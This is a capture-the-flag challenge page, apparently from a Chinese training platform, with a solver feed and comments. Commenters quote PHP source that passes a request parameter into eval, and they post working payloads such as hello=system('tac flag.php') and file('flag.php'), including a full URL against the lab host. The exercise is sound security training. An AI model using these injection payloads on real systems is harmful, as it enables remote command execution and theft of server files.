评分(12)
解题动态
Hogan 攻破了该题 24分钟前
sorry123 攻破了该题 2小时前
xiaolili 攻破了该题 3小时前
ljjbit 攻破了该题 7小时前
墨尘 攻破了该题 8小时前
booku 攻破了该题 9小时前
15306829633 攻破了该题 9小时前
CHT 攻破了该题 10小时前
河马 攻破了该题 11小时前
Mr.Cyber 攻破了该题 12小时前
聪仔草莓51 攻破了该题 14小时前
pleonexia123 攻破了该题 14小时前
wsx68696 攻破了该题 1天前
lipingctf 攻破了该题 1天前
H1lla1n 攻破了该题 1天前
liyimanfan 攻破了该题 1天前
Yun1217 攻破了该题 2天前
你倒过来读看看呢 攻破了该题 2天前
jvfnvd.vl 攻破了该题 2天前
评论
sn1p3r 5年前
举报
这个题得好好学学
juice 5年前
举报
show_source('flag.php')
yyt123 5年前
举报
hello=1,$v=file('./flag.php'),print_r($v)
yyt123 5年前
举报
@LSYLTH 可以用hello读文件也可以不用，这里随便给hello赋了个值，之后定义了一个变量去读flag.php
LSYLTH 5年前
举报
这是怎么构造这个playload的呀
你看 5年前
举报
require 一般放在 PHP 文件的最前面，程序在执行前就会先导入要引用的文件； include 一般放在程序的流程控制中，当程序执行时碰到才会引用，简化程序的执行流程。 require 引入的文件有错误时，执行会中断，并返回一个致命错误； include 引入的文件有错误时，会继续执行，并返回一个警告。
safemaker2021 5年前
举报
把file函数带进去eval中，以PHP执行
Easyoung 5年前
举报
直接在评论里发flag，年轻人不讲武德？
sn1p3r 5年前
举报
@harry 看到管理员三个字，熠熠生辉。
harry 管理员 5年前
举报
动态flag他们发了也没事
xiao 5年前
举报
直接用?hello=file('flag.php')，var_dump()函数可以打印
wyx48046 5年前
举报
厉害！
Hiiro 5年前
举报
大佬大佬
test_ctf 5年前
举报
牛逼！
Hacker23 5年前
举报
http://114.67.246.176:10183/?hello=system('tac flag.php')
ZTyyds 4年前
举报
原理是什么啊？？？想了解一下
guoguo 5年前
举报
题目内容：<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__); ?> 可以使用hello=system('tac flag.php')或者?hello=10/print_r(file("flag.ph
dsadscxzewq 5年前
举报
为啥用cat不行呢？
痕夕 5年前
举报
看不懂，求解，大佬
SwBack 5年前
举报
大道至简，直接当作一句话利用即可 hello=system('tac flag.php')
巨人肩膀上的矮子 5年前
举报
@dsadscxzewq cat是可以的，只不过在源代码里查看
dsadscxzewq 5年前
举报
为啥用cat不行呢？